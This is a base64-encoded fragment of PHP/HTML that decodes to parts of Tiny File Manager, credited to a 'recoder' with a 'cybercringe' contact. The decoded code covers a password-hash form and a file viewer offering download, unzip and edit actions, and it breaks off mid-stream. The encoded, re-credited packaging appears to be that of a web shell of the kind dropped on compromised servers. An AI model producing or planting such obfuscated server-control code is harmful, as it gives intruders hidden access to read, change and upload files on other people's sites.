AgICAgIDxwPkF1dGhvcjogUHJhc2F0aCBNYW5pPC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHA+UmVjb2RlcjogWW9sYWNjdGZhc3Q8L3A+DQogICAgICAgICAgICAgICAgICAgICAgICA8cD5NYWlsIFVzOiA8YSBocmVmPSJtYWlsdG86IGN5YmVyY3JpbmdlOTVAZ21haWwuY29tIj5jeWJlcmNyaW5nZTk1QGdtYWlsLmNvbTwvYT4gPC9wPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTEyIGNvbC1zbS02Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0ibGlzdC1ncm91cCBsaXN0LWdyb3VwLWZsdXNoIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxhIGhyZWY9Imh0dHBzOi8vZ2l0aHViLmNvbS9wcmFzYXRobWFuaS90aW55ZmlsZW1hbmFnZXIvd2lraSIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1xdWVzdGlvbi1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAgRG9jdW1lbnRzJykgPz4gPC9hPiA8L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL3ByYXNhdGhtYW5pL3RpbnlmaWxlbWFuYWdlci9pc3N1ZXMiIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtYnVnIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjwvYT48L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZighRk1fUkVBRE9OTFkpIHsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxhIGhyZWY9ImphdmFzY3JpcHQ6c2hvd19uZXdfcHdkKCk7Ij48aSBjbGFzcz0iZmEgZmEtbG9jayI+PC9pPiA8P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjwvYT48L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMiI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC0xMiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz0iZm9ybS1pbmxpbmUiIG9uc3VibWl0PSJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcykiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InR5cGUiIHZhbHVlPSJwd2RoYXNoIiBhcmlhLWxhYmVsPSJoaWRkZW4iIGFyaWEtaGlkZGVuPSJ0cnVlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIG1iLTIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJzdGF0aWNFbWFpbDIiPjw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PC9sYWJlbD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIG14LXNtLTMgbWItMiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9ImlucHV0UGFzc3dvcmQyIiBjbGFzcz0ic3Itb25seSI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48L2xhYmVsPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCBidG4tc20iIGlkPSJpbnB1dFBhc3N3b3JkMiIgbmFtZT0iaW5wdXRQYXNzd29yZDIiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnUGFzc3dvcmQnKSA/PiIgcmVxdWlyZWQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTIiPjw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZScpID8+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iMiIgcmVhZG9ubHkgaWQ9ImpzLXB3ZC1yZXN1bHQiPjwvdGV4dGFyZWE+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KICAgIDw/cGhwDQogICAgZm1fc2hvd19mb290ZXIoKTsNCiAgICBleGl0Ow0KfQ0KDQovLyBmaWxlIHZpZXdlcg0KaWYgKGlzc2V0KCRfR0VUWyd2aWV3J10pKSB7DQogICAgJGZpbGUgPSAkX0dFVFsndmlldyddOw0KICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSwgZmFsc2UpOw0KICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJGZpbGUpOw0KICAgIGlmICgkZmlsZSA9PSAnJyB8fCAhaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSB8fCBpbl9hcnJheSgkZmlsZSwgJEdMT0JBTFNbJ2V4Y2x1ZGVfaXRlbXMnXSkpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgTWFuYSBGaWxlPz8nKSwgJ2Vycm9yJyk7DQogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCiAgICB9DQoNCiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVINCiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgNCg0KICAgICRmaWxlX3VybCA9IEZNX1JPT1RfVVJMIC4gZm1fY29udmVydF93aW4oKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGZpbGUpOw0KICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICcvJyAuICRmaWxlOw0KDQogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7DQogICAgJG1pbWVfdHlwZSA9IGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aCk7DQogICAgJGZpbGVzaXplX3JhdyA9IGZtX2dldF9zaXplKCRmaWxlX3BhdGgpOw0KICAgICRmaWxlc2l6ZSA9IGZtX2dldF9maWxlc2l6ZSgkZmlsZXNpemVfcmF3KTsNCg0KICAgICRpc196aXAgPSBmYWxzZTsNCiAgICAkaXNfZ3ppcCA9IGZhbHNlOw0KICAgICRpc19pbWFnZSA9IGZhbHNlOw0KICAgICRpc19hdWRpbyA9IGZhbHNlOw0KICAgICRpc192aWRlbyA9IGZhbHNlOw0KICAgICRpc190ZXh0ID0gZmFsc2U7DQogICAgJGlzX29ubGluZVZpZXdlciA9IGZhbHNlOw0KDQogICAgJHZpZXdfdGl0bGUgPSAnRmlsZSc7DQogICAgJGZpbGVuYW1lcyA9IGZhbHNlOyAvLyBmb3IgemlwDQogICAgJGNvbnRlbnQgPSAnJzsgLy8gZm9yIHRleHQNCiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7DQoNCiAgICBpZigkb25saW5lX3ZpZXdlciAmJiAkb25saW5lX3ZpZXdlciAhPT0gJ2ZhbHNlJyAmJiBpbl9hcnJheSgkZXh0LCBmbV9nZXRfb25saW5lVmlld2VyX2V4dHMoKSkpew0KICAgICAgICAkaXNfb25saW5lVmlld2VyID0gdHJ1ZTsNCiAgICB9DQogICAgZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHsNCiAgICAgICAgJGlzX3ppcCA9IHRydWU7DQogICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnOw0KICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpOw0KICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkgew0KICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlOw0KICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7DQogICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7DQogICAgICAgICRpc19hdWRpbyA9IHRydWU7DQogICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJzsNCiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHsNCiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTsNCiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nOw0KICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHsNCiAgICAgICAgJGlzX3RleHQgPSB0cnVlOw0KICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOw0KICAgIH0NCg0KICAgID8+DQogICAgPGRpdiBjbGFzcz0icm93Ij4NCiAgICAgICAgPGRpdiBjbGFzcz0iY29sLTEyIj4NCiAgICAgICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj48Yj48P3BocCBlY2hvIGxuZygkdmlld190aXRsZSkgPz4gIjw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz4iPC9iPjwvcD4NCiAgICAgICAgICAgIDxwIGNsYXNzPSJicmVhay13b3JkIj4NCiAgICAgICAgICAgICAgICA8c3Ryb25nPkZ1bGwgcGF0aDo8L3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oJGZpbGVfcGF0aCkpID8+PGJyPg0KICAgICAgICAgICAgICAgIDxzdHJvbmc+RmlsZSBzaXplOjwvc3Ryb25nPiA8P3BocCBlY2hvICgkZmlsZXNpemVfcmF3IDw9IDEwMDApID8gIiRmaWxlc2l6ZV9yYXcgYnl0ZXMiIDogJGZpbGVzaXplOyA/Pjxicj4NCiAgICAgICAgICAgICAgICA8c3Ryb25nPk1JTUUtdHlwZTo8L3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PGJyPg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgLy8gWklQIGluZm8NCiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7DQogICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107DQogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRmlsZXMgaW4gYXJjaGl2ZScpID8+OiA8P3BocCBlY2hvICR0b3RhbF9maWxlcyA/Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ1RvdGFsIHNpemUnKSA/PjogPD9waHAgZWNobyBmbV9nZXRfZmlsZXNpemUoJHRvdGFsX3VuY29tcCkgPz48YnI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdTaXplIGluIGFyY2hpdmUnKSA/PjogPD9waHAgZWNobyBmbV9nZXRfZmlsZXNpemUoJHRvdGFsX2NvbXApID8+PGJyPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgLyBtYXgoJHRvdGFsX3VuY29tcCwgMSkpICogMTAwKSA/PiU8YnI+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vIEltYWdlIGluZm8NCiAgICAgICAgICAgICAgICBpZiAoJGlzX2ltYWdlKSB7DQogICAgICAgICAgICAgICAgICAgICRpbWFnZV9zaXplID0gZ2V0aW1hZ2VzaXplKCRmaWxlX3BhdGgpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvIGxuZygnSW1hZ2Ugc2l6ZXMnKS4nOiAnIC4gKGlzc2V0KCRpbWFnZV9zaXplWzBdKSA/ICRpbWFnZV9zaXplWzBdIDogJzAnKSAuICcgeCAnIC4gKGlzc2V0KCRpbWFnZV9zaXplWzFdKSA/ICRpbWFnZV9zaXplWzFdIDogJzAnKSAuICc8YnI+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgLy8gVGV4dCBpbmZvDQogICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7DQogICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7DQogICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04Ly9JR05PUkUnLCAkY29udGVudCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHN0cm9uZz4nLmxuZygnQ2hhcnNldCcpLic6PC9zdHJvbmc+ICcgLiAoJGlzX3V0ZjggPyAndXRmLTgnIDogJzggYml0JykgLiAnPGJyPic7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICA8L3A+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJkLWZsZXggYWxpZ24taXRlbXMtY2VudGVyIG1iLTMiPg0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImQtaW5saW5lIG1zLTIiIGFjdGlvbj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWxpbmsgdGV4dC1kZWNvcmF0aW9uLW5vbmUgZnctYm9sZCBwLTAiPjxpIGNsYXNzPSJmYSBmYS1jbG91ZC1kb3dubG9hZCI+PC9pPiA8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PjwvYnV0dG9uPiAmbmJzcDsNCiAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgPGIgY2xhc3M9Im1zLTIiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlX3VybCkgPz4iIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtZXh0ZXJuYWwtbGluay1zcXVhcmUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ09wZW4nKSA/PjwvYT48L2I+DQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAvLyBaSVAgYWN0aW9ucw0KICAgICAgICAgICAgICAgIGlmICghRk1fUkVBRE9OTFkgJiYgKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICR6aXBfbmFtZSA9IHBhdGhpbmZvKCRmaWxlX3BhdGgsIFBBVEhJTkZPX0ZJTEVOQU1FKTsNCiAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBjbGFzcz0iZC1pbmxpbmUgbXMtMiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1bnppcCIgdmFsdWU9Ijw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWxpbmsgdGV4dC1kZWNvcmF0aW9uLW5vbmUgZnctYm9sZCBwLTAiIHN0eWxlPSJmb250LXNpemU6IDE0cHg7Ij48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdVblppcCcpID8+PC9idXR0b24+DQogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4mbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBjbGFzcz0iZC1pbmxpbmUgbXMtMiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1bnppcCIgdmFsdWU9Ijw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9mb2xkZXIiIHZhbHVlPSIxIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIiBzdHlsZT0iZm9udC1zaXplOiAxNHB4OyIgdGl0bGU9IlVuWmlwIHRvIDw/cGhwIGVjaG8gZm1fZW5jKCR6aXBfbmFtZSkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwVG9Gb2xkZXInKSA/PjwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkaXNfdGV4dCAmJiAhRk1fUkVBRE9OTFkpIHsNCiAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgPGIgY2xhc3M9Im1zLTIiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiIgY2xhc3M9ImVkaXQtZmlsZSI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0VkaXQnKSA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPjwvYj4gJm5ic3A7DQogICAgICAgICAgICAgICAgICAgIDxiIGNsYXNzPSJtcy0yIj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iZWRpdC1maWxlIj48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2E+PC9iPiAmbmJzcDsNCiAgICAgICAgICAgICAgICA8P3BocCB9ID8+DQogICAgICAgICAgICAgICAgPGIgY2xhc3M9Im1zLTIiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+Ij48aSBjbGFzcz0iZmEgZmEtY2hldnJvbi1jaXJjbGUtbGVmdCBnby1iYWNrIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48L2E+PC9iPg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgaWYoJGlzX29ubGluZVZpZXdlcikgew0KICAgICAgICAgICAgICAgIGlmKCRvbmxpbmVfdmlld2VyID09ICdnb29nbGUnKSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxpZnJhbWUgc3JjPSJodHRwczovL2RvY3MuZ29vZ2xlLmNvbS92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgZnJhbWVib3JkZXI9Im5vIiBzdHlsZT0id2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4Ij48L2lmcmFtZT4nOw0KICAgICAgICAgICAgICAgIH0gZWxzZSBpZigkb25saW5lX3ZpZXdlciA9PSAnbWljcm9zb2Z0Jykgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8aWZyYW1lIHNyYz0iaHR0cHM6Ly92aWV3Lm9mZmljZWFwcHMubGl2ZS5jb20vb3AvZW1iZWQuYXNweD9zcmM9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgZnJhbWVib3JkZXI9Im5vIiBzdHlsZT0id2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4Ij48L2lmcmFtZT4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfemlwKSB7DQogICAgICAgICAgICAgICAgLy8gWklQIGNvbnRlbnQNCiAgICAgICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGNvZGUgY2xhc3M9Im1heGhlaWdodCI+JzsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lcyBhcyAkZm4pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZm5bJ2ZvbGRlciddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+JyAuIGZtX2VuYygkZm5bJ25hbWUnXSkgLiAnPC9iPjxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmblsnbmFtZSddIC4gJyAoJyAuIGZtX2dldF9maWxlc2l6ZSgkZm5bJ2ZpbGVzaXplJ10pIC4gJyk8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2NvZGU+JzsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD4nLmxuZygnRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvJykuJzwvcD4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfaW1hZ2UpIHsNCiAgICAgICAgICAgICAgICAvLyBJbWFnZSBjb250ZW50DQogICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdnaWYnLCAnanBnJywgJ2pwZWcnLCAncG5nJywgJ2JtcCcsICdpY28nLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICc8cD48aW1nIHNyYz0iJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgYWx0PSJpbWFnZSIgY2xhc3M9InByZXZpZXctaW1nLWNvbnRhaW5lciIgY2xhc3M9InByZXZpZXctaW1nIj48L3A+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2VpZiAoJGlzX2F1ZGlvKSB7DQogICAgICAgICAgICAgICAgLy8gQXVkaW8gY29udGVudA0KICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxhdWRpbyBzcmM9IicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICciIGNvbnRyb2xzIHByZWxvYWQ9Im1ldGFkYXRhIj48L2F1ZGlvPjwvcD4nOw0KICAgICAgICAgICAgfSBlbHNlaWYgKCRpc192aWRlbykgew0KICAgICAgICAgICAgICAgIC8vIFZpZGVvIGNvbnRlbnQNCiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJwcmV2aWV3LXZpZGVvIj48dmlkZW8gc3JjPSInIC4gZm1fZW5jKCRmaWxlX3VybCkgLiAnIiB3aWR0aD0iNjQwIiBoZWlnaHQ9IjM2MCIgY29udHJvbHMgcHJlbG9hZD0ibWV0YWRhdGEiPjwvdmlkZW8+PC9kaXY+JzsNCiAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfdGV4dCkgew0KICAgICAgICAgICAgICAgIGlmIChGTV9VU0VfSElHSExJR0hUSlMpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gaGlnaGxpZ2h0DQogICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzZXMgPSBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgICAgICdzaHRtbCcgPT4gJ3htbCcsDQogICAgICAgICAgICAgICAgICAgICAgICAnaHRhY2Nlc3MnID0+ICdhcGFjaGUnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3BodG1sJyA9PiAncGhwJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdsb2NrJyA9PiAnanNvbicsDQogICAgICAgICAgICAgICAgICAgICAgICAnc3ZnJyA9PiAneG1sJywNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgJGhsanNfY2xhc3MgPSBpc3NldCgkaGxqc19jbGFzc2VzWyRleHRdKSA/ICdsYW5nLScgLiAkaGxqc19jbGFzc2VzWyRleHRdIDogJ2xhbmct